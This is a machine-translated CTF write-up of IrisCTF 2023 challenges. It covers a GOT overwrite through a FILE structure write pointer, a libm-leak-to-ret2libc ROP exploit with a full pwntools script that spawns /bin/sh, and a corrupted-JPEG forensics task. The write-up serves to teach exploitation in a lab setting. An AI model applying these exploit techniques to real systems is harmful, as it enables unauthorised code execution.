{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-irisctf-2023-en","result":{"data":{"markdownRemark":{"id":"8e1f2d81-4719-518f-aabf-22d61a8c266b","html":"
\n

This page has been machine-translated from the original page.

\n
\n

Happy New Year.

\n

We participated in IrisCTF 2023 as our first CTF of 2023, while also welcoming new members to 0neP@dding.

\n

As usual, I will briefly summarize only the parts that taught me something in this writeup.

\n\n

Table of Contents

\n\n

Pwn

\n

babyseek

\n

\n \n \n \n \n \n \n \n \n

\n

A challenge binary generated from the following source code was provided.

\n
#include <stdlib.h>\n#include <stdio.h>\n\nvoid win() {\n    system(\"cat /flag\");\n}\n\nint main(int argc, char *argv[]) {\n    // This is just setup\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    printf(\"Your flag is located around %p.\\n\", win);\n\n    FILE* null = fopen(\"/dev/null\", \"w\");\n    int pos = 0;\n    void* super_special = &win;\n\n    fwrite(\"void\", 1, 4, null);\n    printf(\"I'm currently at %p.\\n\", null->_IO_write_ptr);\n    printf(\"I'll let you write the flag into nowhere!\\n\");\n    printf(\"Where should I seek into? \");\n    scanf(\"%d\", &pos);\n    null->_IO_write_ptr += pos;\n\n    // print & 'exit@got.plt'\n    fwrite(&super_special, sizeof(void *), 1, null);\n    exit(0);\n}
\n

Only the following two lines could change behavior depending on user input, so they gave a clear starting point.

\n

I knew that the null structure was a file descriptor created by fopen(\"/dev/null\", \"w\");, so I first investigated what would happen if I could arbitrarily modify _IO_write_ptr.

\n
null->_IO_write_ptr += pos;\nfwrite(&super_special, sizeof(void *), 1, null);
\n

_IO_write_ptr is commented as Current put pointer in the library source, so it is the member variable that points to the current output position of the buffer.

\n

By actually creating a file descriptor for /dev/stdout and decreasing the value of _IO_write_ptr, I confirmed that earlier characters would be overwritten.

\n

At that point, because I could change the address held in _IO_write_ptr arbitrarily, I realized that &super_special, which stores the address of the win function used to retrieve the flag, could be written to arbitrary memory.

\n

Looking at the source, we can see that exit(0); is called for the first time here.

\n
fwrite(&super_special, sizeof(void *), 1, null);\nexit(0);
\n

In ELF, library functions are lazily bound, so when a function is called for the first time, the corresponding entry in the .plt section is referenced and execution jumps through the GOT (XXX@got.plt).

\n

Reference: Tracing Library Function Calls via GOT/PLT

\n

At that point, by adjusting _IO_write_ptr so that the GOT address embedded in the .plt entry used when exit is called is overwritten with the address of the win function, we can retrieve the flag.

\n

However, to carry out this exploit, we need to identify the relevant address in the .plt section used by the process running on the challenge server.

\n

Fortunately, when the program starts, the following lines leak the addresses of the win function and null->_IO_write_ptr.

\n
printf(\"Your flag is located around %p.\\n\", win);\nprintf(\"I'm currently at %p.\\n\", null->_IO_write_ptr);
\n

At that point, the relative position between the address identified with the print & 'exit@got.plt' command in gdb-peda and the address of the win function is constant, so we can determine the GOT table address of exit from the leaked address of win.

\n
gdb-peda$ print & 'exit@got.plt'\n$1 = (<text from jump slot in .got.plt, no debug info> *) 0x555555557468 <exit@got[plt]>
\n

Finally, by providing an input value that changes null->_IO_write_ptr so that it points to the identified GOT table address of the exit function, I was able to retrieve the flag.

\n

ret2libm

\n

\n \n );\n\n return 0;\n}\n

Also, this time the address of the fabs function defined in libm is leaked by printf(\"Check out my pecs: %p\\n\", fabs);.

\n

From there, my plan was to use the leaked address of fabs inside libm to determine the address of libc and then get a shell with ret2libc.

\n

First, to determine how many bytes were required before controlling RSP via the BoF, I used gdb and msf-pattern_offset and found that the offset was 16 bytes.

\n
# Use gdb and msf-pattern_offset to determine that the offset needed to control RSP is 16 bytes\n$ msf-pattern_create -l 100\n$ msf-pattern_offset -q a5Aa           \n[*] Exact match at offset 16
\n

Next, I used info sharedlibrary in gdb to inspect the addresses that were loaded at runtime.

\n
$ info sharedlibrary\nFrom                To                  Syms Read   Shared Object Library\n0x00007f861b03cf10  0x00007f861b05d550  Yes         /lib64/ld-linux-x86-64.so.2\n0x00007f861aca9a80  0x00007f861ad681d5  Yes         /lib/x86_64-linux-gnu/libm.so.6\n0x00007f861a8ce360  0x00007f861aa46afc  Yes         /lib/x86_64-linux-gnu/libc.so.6\n\n$  x/16c 0x00007f861aca9a80\n0x7f861aca9a80 <atan2Mp>:       0x41    0x57    0x41    0x56    0x4c    0x8d    0xd     0xd5\n\n$ x/16c 0x00007f861a8ce360  \n0x7f861a8ce360 <__libgcc_s_init>:       0x55    0x53    0x48    0x8d    0x3d    0x7d    0x23    0x19
\n

info sharedlibrary shows, in the From column, the addresses where the .text sections of the loaded libm.so and libc.so are placed.

\n

If we check which functions are located at the relevant .text section offsets using Ghidra or readelf, we can confirm that they match the loaded addresses.

\n\n

\n \n \n \n \n \n \n \n \n

\n

Also, the relative position between the loaded libm.so and libc.so addresses remains constant even when PIE is enabled.

\n

In other words, by calculating the base address of libm.so from the leaked address of fabs, we can ultimately obtain the base address of libc.so.

\n

Once we know that, the rest is a standard ret2libc problem, so we can gather everything we need by identifying the offsets of the system function and \"/bin/sh\" from the provided library files.

\n
# Determine the address where library functions are loaded\n$ info sharedlibrary \nFrom                To                  Syms Read   Shared Object Library\n0x00007f97469fdf10  0x00007f9746a1e550  Yes         /lib64/ld-linux-x86-64.so.2\n0x00007f974666aa80  0x00007f97467291d5  Yes         /lib/x86_64-linux-gnu/libm.so.6\n0x00007f974628f360  0x00007f9746407afc  Yes         /lib/x86_64-linux-gnu/libc.so.6\n\n# Determine the address of the system function\n$ p system\n0x7f97462bd420 <__libc_system>\n\n# Determine the address of \"/bin/sh\"\n$ find \"/bin/sh\" libc\nlibc : 0x7f8659807d88 --> 0x68732f6e69622f ('/bin/sh')\n\n# Search for ROP gadgets inside libc\n$ ropsearch \"pop rdi\" libc\nSearching\n0x00007f9746355873\n\n# To fix stack alignment, search for a ROP gadget that returns with ret\n$ ropsearch \"ret\" libc\nSearching\n0x00007f97462c0528\n\n# Address of fabs leaked at runtime\nCheck out my pecs: 0x7f9746690cf0
\n

By calculating the differences between the addresses based on the information above, I was able to determine all of the addresses needed for ret2libc from the leaked address of fabs.

\n
atan2Mp=fab-156272\nlibgcc_init=atan2Mp-4044576\nsysaddr=libgcc_init+188608\nstr_bin_sh=libgcc_init+1649192\npop_rdi=libgcc_init+63083\nret=libgcc_init+201160
\n

From here, I constructed the payload.

\n

This time, I debugged inside a Docker container so that I could use the same library versions as the challenge server.

\n

So I first installed gdbserver and tmux inside the Docker container and started them.

\n
sudo apt install gdb gdbserver tmux -y\n\n# Start tmux\ntmux
\n

Reference: Running pwntools gdb debug feature inside Docker containers

\n

Here is the final script I wrote.

\n
# sudo apt install gdb gdbserver\n# sudo apt install tmux\n# https://gist.github.com/turekt/71f6950bc9f048daaeb69479845b672b\nfrom pwn import *\n\nbinary_path = \"./chal\"\nelf = context.binary = ELF(binary_path)\ncontext(terminal=['tmux', 'split-window', '-h'])\n\n# running\nio = gdb.debug(binary_path, '''\n   break *(main+153)\n''')\n\n# io.remote(\"addr\", 42072)\n\nrecv = io.recvline()\nfab = int(recv[len(\"Check out my pecs: \"):-1].decode(),16)\n\npayload = b''\npayload = b'\\x41'*16\n\natan2Mp=fab-156272\nlibgcc_init=atan2Mp-4044576\nsysaddr=libgcc_init+188608\nstr_bin_sh=libgcc_init+1649192\npop_rdi=libgcc_init+63083\nret=libgcc_init+201160\n\npayload = b\"\"\npayload += b\"\\x41\"*16\npayload += p64(ret)\npayload += p64(pop_rdi)\npayload += p64(str_bin_sh)\npayload += p64(sysaddr)\n\nprint(\"fab: {}\".format(hex(fab)))\nprint(\"libgcc_init: {}\".format(hex(libgcc_init)))\nprint(\"sysaddr: {}\".format(hex(sysaddr)))\nprint(\"str_bin_sh: {}\".format(hex(str_bin_sh)))\nprint(\"pop_rdi: {}\".format(hex(pop_rdi)))\nprint(\"ret: {}\".format(hex(ret)))\n\nio.sendline(payload)\nrecv = io.recv()\nio.interactive()
\n

Forensic

\n

babyforens

\n

\n \n \n \n \n \n \n \n \n

\n

A corrupted JPG file was provided.

\n

I needed to extract the following information from it.

\n\n

The challenge itself should have been easy, but I wasted a lot of time by overthinking it.

\n

First, the shooting location’s latitude and longitude, the time, and the serial number can all be obtained easily with exiftool.

\n

I used the following site to convert the latitude and longitude into decimal notation.

\n

Reference: [Benricho] Converting Latitude/Longitude Between Decimal and Sexagesimal (Degrees, Minutes, Seconds)

\n

There was also one catch with the UNIX timestamp: it had to be calculated using the time zone obtained from the Exif data.

\n

Reference: Time zone list / Epoch to time zone converter

\n

Because UNIX time ignores leap seconds in its calculation, I thought it was important to note that if you convert the timestamp to UTC before calculating UNIX time, the result differs from calculating UNIX time without changing the time zone.

\n

After checking another person’s writeup, it seems the real issue was not leap seconds but the need to take daylight saving time into account.

\n

Finally, for the string embedded in the image, my first idea was to extract from the damaged JPG file the range of data that begins with the start marker FF D8 and ends with the end marker FF D9 as a JFIF file.

\n
dd if=./IMG_0917.jpg of=./out.jfif bs=1 skip=10934
\n

Reference: What Is Actually Inside a JPEG Image? - GIGAZINE

\n

This did let me recover the image itself, but it became blurry and unreadable (perhaps because it had been compressed?).

\n

\n \n \n \n \n \n \n \n \n

\n

I spent a while trying things like changing the size and resolution, but none of it worked, so in the end I decided to approach it by repairing the damaged image.

\n

After investigating further, I found that what had been corrupted was the start marker of the image. By using a binary editor to rewrite it to the appropriate value, I was able to identify the secret string and retrieve the flag.

\n

\n \n \n \n \n \n \n \n \n

\n

\n \n